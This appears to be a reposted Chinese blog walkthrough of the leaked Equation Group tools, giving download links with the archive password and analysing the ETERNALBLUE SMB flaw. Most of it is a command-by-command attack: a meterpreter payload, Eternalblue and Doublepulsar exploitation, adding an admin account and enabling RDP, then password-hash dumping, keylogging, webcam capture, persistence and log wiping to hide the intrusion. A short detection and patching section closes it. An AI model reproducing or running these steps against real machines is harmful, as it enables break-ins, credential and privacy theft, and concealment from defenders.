NSA方程式工具利用与分析
来源:互联网 发布:云计算第三版刘鹏答案 编辑:程序博客网 时间:2024/04/29 04:11
下载地址:https://yadi.sk/d/NJqzpqo_3GxZA4
解压密码:Reeeeeeeeeeeeeee
github下载地址:https://github.com/misterch0c/shadowbroker
释放的工具总共包含三个文件夹,
- Swift:包含了NSA对SWIFT银行系统发动攻击的相关证据,其中有EastNets的一些PPT文档、相关的证据、一些登录凭证和内部架构,EastNets是中东最大的SWIFT服务机构之一。
- OddJob:包含一个基于Windows的植入软件,并包括所指定的配置文件和payload。适用于Windows Server 2003 Enterprise(甚至Windows XP Professional)
- Windows:包含对Windows操作系统的许多黑客工具,但主要针对的是较旧版本的Windows(Windows XP中)和Server 2003。
主要工具
FUZZBUNCH:一款类似Metasploit的Exploit框架
ETERNALBLUE攻击原理分析
ETERNALBLUE是一个RCE漏洞利用,通过SMB(Server Message Block)和NBT(NetBIOS over TCP/IP)影响Windows XP,Windows 2008 R2和Windows 7系统。
漏洞发生处:C:\Windows\System32\drivers\srv.sys
注:srv.sys是Windows系统驱动文件,是微软默认的信任文件。
漏洞函数:unsigned int __fastcall SrvOs2FeaToNt(int a1, int a2)
触发点:_memmove(v5, (const void *)(a2 + 5 + *(_BYTE *)(a1 + 5)), *(_WORD *)(a1 + 6));
原因:逻辑不正确导致的越界写入
官方补丁修复前:
int __fastcall SrvOs2FeaListSizeToNt(_DWORD *a1){ //SNIP... while (v3 = v4 || (v7 = *(_BYTE *)(v3 + 1) + *(_WORD *)(v3 + 2), v7 + v3 + 5 > v4)) { *(WORD*)v6 = v3 - (_DWORD)v6; //<----------修改处 return v1; } //SNIP...}int __thiscall ExecuteTransaction(int this){ //SNIP... if (*(_DWORD *)(v3 + 0x50) >= 1) //<------修改处 { _SrvSetSmbError2(0, 464, "onecore\\base\\fs\\remotefs\\smb\\srv\\srv.downlevel\\smbtrans.c"); SrvLogInvalidSmbDirect(v1, v10); goto LABEL_109; } //SNIP...}
修复后:
int __fastcall SrvOs2FeaListSizeToNt(_DWORD *a1){ //SNIP... while (v3 = v4 || (v7 = *(_BYTE *)(v3 + 1) + *(_WORD *)(v3 + 2), v7 + v3 + 5 > v4)) { *(DWORD*)v6 = v3 - (_DWORD)v6; //<--------修改处 return v1; } //SNIP...}int __thiscall ExecuteTransaction(int this){ //SNIP... if (*(_DWORD *)(v3 + 0x50) >= 2u) //<------修改处 { _SrvSetSmbError2(0, 464, "onecore\\base\\fs\\remotefs\\smb\\srv\\srv.downlevel\\smbtrans.c"); SrvLogInvalidSmbDirect(v1, v10); goto LABEL_109; } //SNIP...}
具体见参考资料5
漏洞复现
- 环境搭建
2. 工具准备
- 解压NSA工具包中的windows文件夹到攻击机1的C:\目录下(只要不是中文目录皆可);
- 在攻击机1安装:
- python-2.6.6.msi
- pywin32-221.win32-py2.6.exe
- 在攻击机2先生成用于回连的dll
msfvenom -p windows/meterpreter/bind_tcp LPORT=5555 -f dll > x86bind.dll
3.扫描开启445端口的活跃主机并探测操作系统 nmap -Pn -p445 -O 10.10.10.0/24
nmap -Pn -p445 -O -iL ip.txt
4.攻击机1开始利用ETERNALBLUE攻击 python fb.py
use Eternalblue
...
5.利用Doublepulsar注入dll
use Doublepulsar
6.kali攻击机利用msf回连控制主机5555端口 use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set LPORT 5555
set RHOST XXX.XXX.XXX.XXX
exploit
后渗透攻击
开3389端口
(1)wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != “”) call
setallowtsconnections 1
(2)wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName =’RDP-Tcp’) call
setuserauthenticationrequired 1
(3)reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
针对win XP及win2003只需要第3条命令
针对win 7需要第1,2条命令
针对win 2012需要3条命令添加账户进管理组
net user sherlly sherlly /add
net localgroup Administrators sherlly /add
端口转发
如果3389端口只限内网访问,可以使用portfwd将端口转发到本地连接portfwd add -l 4444 -p 3389 -r XXX.XXX.XXX.XXX
rdesktop -u root -p toor 127.0.0.1:4444
meterpreter自带的多功能shell
- hashdump:获取用户密码哈希值,可以用ophcrack等彩虹表工具进行破解明文
- screenshot:获取屏幕截图
- webcam_snap:调取对方摄像头拍照
- keyscan_start,keyscan_dump:记录键盘动作
- ps:查看当前运行进程
- sysinfo:查看系统信息
- getsystem:提权
维持控制
- migrate:将meterpreter会话移至另一个进程内存空间(migrate pid)配合ps使用
- irb:与ruby终端交互,调用meterpreter封装函数,可以添加Railgun组件直接交互本地的Windows API,阻止目标主机进入睡眠状态
irb
client.core.use("railgun)
client.railgun.kernel32.SetThreadExecutionState("ES_CONTINUOUS|ES_SYSTEM_REQUIRED") - background:隐藏在后台方便msf终端进行其他操作,session查看对话id
- session -i X:使用已经成功获取的对话
植入后门
- 测试是否虚拟机:
run post/windows/gather/checkvm
- 以系统服务形式安装:在目标主机的31337端口开启监听,使用metsvc.exe安装metsvc-server.exe服务,运行时加载metsrv.dll
run metsvc
- getgui开启远程桌面:
run getgui -u sherlly -p sherlly
run multi_console_command -rc /root/.msf3/logs/scripts/getgui/clean_up_XXX.rc
//清除痕迹,关闭服务,删除添加账号
- 测试是否虚拟机:
清除入侵痕迹
- clearev:清除日志
- timestomp:修改文件的创建时间,最后写入和最后访问时间
timestomp xiugai.doc -f old.doc
检测&防御
- 国外有人写了个检测Doublepulsar入侵的脚本,运行环境需要python2.6, 地址https://github.com/countercept/doublepulsar-detection-script, 使用方法
python detect_doublepulsar_smb.py --ip XXX.XXX.XXX.XXX
python detect_doublepulsar_rdp.py --file ips.list --verbose --threads 1
另外,nmap也基于该脚本出了对应扫描脚本smb-double-pulsar-backdoor.nse,使用方法nmap -p 445 <target> --script=smb-double-pulsar-backdoor
- 安装相应补丁https://blogs.technet.microsoft.com/msrc/2017/04/14/protecting-customers-and-evaluating-risk/
- 如非必要,关闭25, 88, 139, 445, 3389端口
- 使用防火墙、或者安全组配置安全策略,屏蔽对包括445、3389在内的系统端口访问。(见参考资料7)
参考资料
- http://thehackernews.com/2017/04/swift-banking-hacking-tool.html
- http://www.freebuf.com/sectool/132029.html
- https://www.cyberscoop.com/nsa-hacking-tools-shadow-brokers-dark-web-microsoft-smb/
- http://www.file.net/process/srv.sys.html
- http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
- https://nmap.org/nsedoc/scripts/smb-double-pulsar-backdoor.html
- https://jingyan.baidu.com/article/c843ea0b7d5c7177931e4ab1.html
- NSA方程式工具利用与分析
- NSA方程式组织(Equation Group)泄露的天融信产品漏洞分析(一) 利用方式
- NSA 攻击工具再遭利用,Windows、Linux服务器沦为挖矿工具
- 方程式 Eternalblue 漏洞利用复现
- nsa
- NSA
- NSA方程式组织被黑事件跟踪:拍卖、合法性、俄罗斯黑客阴谋论......
- 方程式
- 方程式
- 内幕!深入分析NSA入侵事件
- NSA(美国国安局)泄漏Exploit分析
- NSA军火库干货分析-NSA(美国国安局)泄漏Exploit分析
- 79. 利用代码分析工具
- 奥巴马允许NSA利用网络0day漏洞
- arp欺骗与利用工具
- 思科与Fortinet证实:NSA黑客曝光安全漏洞属实
- 利用ArcGIS水文分析工具提取河网
- 利用crash工具分析堆栈死机问题
- cmd的操作命令导出导入.dmp文件
- Halcon实例教程之电源外壳缝隙检测
- 数据结构-常见的排序算法
- Cookie的简单了解
- ZOJ-3939 The lucky week
- NSA方程式工具利用与分析
- F Metric Matrice
- Ubuntu16.04 安装PyCharm
- linux命令详解之pwd命令
- 字符编码格式小结(ASCII/Unicode/UTF-8)
- POJ
- 我也不知道能不能当结业……我也很绝望啊
- codeforces 55DBeautiful numbers( 数位dp )
- 完成一个个人博客,博客头像可上传本地图片;部分图片实现点击看大图功能